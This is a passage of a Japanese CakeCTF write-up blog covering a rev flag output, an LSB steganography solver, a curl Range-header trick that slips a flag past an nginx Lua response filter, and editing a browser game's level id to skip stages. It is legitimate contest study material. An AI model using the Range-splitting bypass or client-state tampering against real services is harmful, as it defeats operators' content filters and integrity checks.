[{'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}]
[{'4', '5', '6', '7'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'e', 'f', 'c', 'd'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'e', 'f', 'c', 'd'}, {'e', 'f', 'c', 'd'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'a', '9', '8', 'b'}, {'a', '9', '8', 'b'}, {'e', 'f', 'c', 'd'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'a', '9', '8', 'b'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'e', 'f', 'c', 'd'}]
[{'6', '7'}, {'0', '1'}, {'4', '5'}, {'6', '7'}, {'2', '3'}, {'4', '5'}, {'e', 'f'}, {'2', '3'}, {'4', '5'}, {'e', 'f'}, {'d', 'c'}, {'4', '5'}, {'4', '5'}, {'4', '5'}, {'9', '8'}, {'b', 'a'}, {'e', 'f'}, {'0', '1'}, {'2', '3'}, {'0', '1'}, {'2', '3'}, {'4', '5'}, {'6', '7'}, {'4', '5'}, {'9', '8'}, {'0', '1'}, {'4', '5'}, {'4', '5'}, {'4', '5'}, {'2', '3'}, {'0', '1'}, {'d', 'c'}]
[{'6'}, {'0'}, {'4'}, {'7'}, {'2'}, {'4'}, {'e'}, {'2'}, {'4'}, {'e'}, {'d'}, {'4'}, {'4'}, {'4'}, {'8'}, {'b'}, {'e'}, {'1'}, {'2'}, {'1'}, {'3'}, {'5'}, {'6'}, {'4'}, {'8'}, {'1'}, {'5'}, {'5'}, {'4'}, {'3'}, {'0'}, {'d'}]
[*] Switching to interactive mode
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

misc

Break a leg [44 solves]

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

LSBにフラグが隠されていますが、ランダムなビットとORされているため一意に抜き取れません。

flagのbitが1のときにはbitlenの周期でLSBが全て1, 0のときは01まばらになることを利用すれば確定させることができます。bitlenは総当たりします。

from PIL import Image
from Crypto.Util.number import *

img = Image.open("./chall.png")

bits = []

for d in img.getdata():
    for di in d:
        bits.append(di & 1)

# print(bits)

for size in range(1, 100 * 8):
    bitlen = size
    count = [[0, 0] for _ in range(bitlen)]
    for i, bi in enumerate(bits):
        count[i % bitlen][bi & 1] += 1
    # print(count)
    flag = 0
    for i, ci in enumerate(count):
        if ci[0] == 0:
            flag |= 1 << i
    print(size, long_to_bytes(flag))

途中ごみも出てきますが、フラグが手に入ります。余談ですがずっとbitlenが8の倍数になると思っていてそこそこ悩んでました。

❯ py solve.py
1 b'\x00'
2 b'\x00'
3 b'\x00'
4 b'\x00'
...
114 b'\x00'
115 b'\x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04'
116 b'\x00'
...
229 b'\x00'
230 b' \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04'
231 b'\x00'
...
344 b'\x00'
345 b'\x01\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00\x08\x01\x00 \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04'
346 b'\x00'
...
459 b'\x00'
460 b'\x08\x00\x00\x00\x00\x00B\x00\x00\x00\x00\x00@\x08\x01\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00\x08\x01\x00 \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04'
461 b'\x00'
...
574 b'\x00'
575 b'CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}'
576 b'\x00'
...

telepathy [29 solves]

なんと、フラグが送信されるサーバーが与えられます。しかし、そんなわけはなくフラグがnginxによりフィルタされています。

...
server {
    listen       80;
    server_name  localhost;

    #charset koi8-r;
    #access_log  /var/log/nginx/host.access.log  main;

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }
...
}

\w\{.*\}がbody中に引っ掛かるとメッセージの文字列に置き換えられてしまいます。どうにかしてフラグを置換されることなく送信させられないでしょうか。

ここで、パケットを分割(?)したりしたらCakeCTF{......}で分けられることにより正規表現を回避できるかなと思いつきました。

「HTTP 分割受信」で調べるとこの記事がヒットしました。

qiita.com

  • GETリクエストを投げるときにヘッダーに'Range: bytes=0-499'とつけて送信すると、
  • レスポンスヘッダーに'Content-Range: bytes 0-499/1000'とつけてボディにはそのファイルの最初の500バイト分だけ入れて返してくれる

へ~~となりました。やってみます。

❯ curl -H "Range:bytes=0-10" http://misc.cakectf.com:18100/
CakeCTF{r4n
❯ curl -H "Range:bytes=10-100" http://misc.cakectf.com:18100/
ng3-0r4ng3-r4ng3}

フラグが取れました。miscらしくて好きです。

CakeCTF{r4nng3-0r4ng3-r4ng3}

cheat

Kingtaker [22 solves]

URL: http://misc.cakectf.com:10311/

ブラウザで動くHelltakerのパロディゲームが与えられます。

f:id:Satoooon1024:20210830014920p:plain
まだ解けていない3面 (追記:無理らしい)

cheatをしろということでwindowからグローバル変数を見てみます。

f:id:Satoooon1024:20210830005828p:plain

...ごちゃごちゃしてますね。根気で目grepすると、怪しいオブジェクトを見つけました。

f:id:Satoooon1024:20210830005908p:plain

ステージに関するオブジェクトのようで、2面に進むと以下のように変わりました。

f:id:Satoooon1024:20210830005847p:plain

"level2"と進んでいることがわかります。ここで、levelを書き替えることで飛ばして先の面に行けないか試しました。が、駄目でした。

よく見ると、idというプロパティもlevelを表していそうです。これを5に書き替えてRestartしてみます。

f:id:Satoooon1024:20210830005943p:plain
こわい

良い感じですね。色々試すと、一気に飛ばさずに次の面(id+1)に飛ばすことで検出は回避できました。

f:id:Satoooon1024:20210830010014p:plain

感想

前回のInterKosenCTFより難易度は高かったですが、質の高い問題揃いで楽しかったです。

pwnはJIT4bは何もわからなくて、Not So Tigerソースコード一瞬読んで難しそうなので飛ばし、hwdbgはkernel何もわからなくて終わってしまいました。Writeup見ていたらそこまで複雑ではなさそうだったので、もう少し問題に取り組めてればもう1問解けたかもしれない(負け惜しみ)

revは最後の問題が一問余ってしまいましたが、余程難しくない限りrevは時間かければ解けるので昼寝しないでいれば解けてましたね(負け惜しみ2)

cryptoは何もわからなくて「う~~ん、捨て!w」となってました。cryptoから逃げるな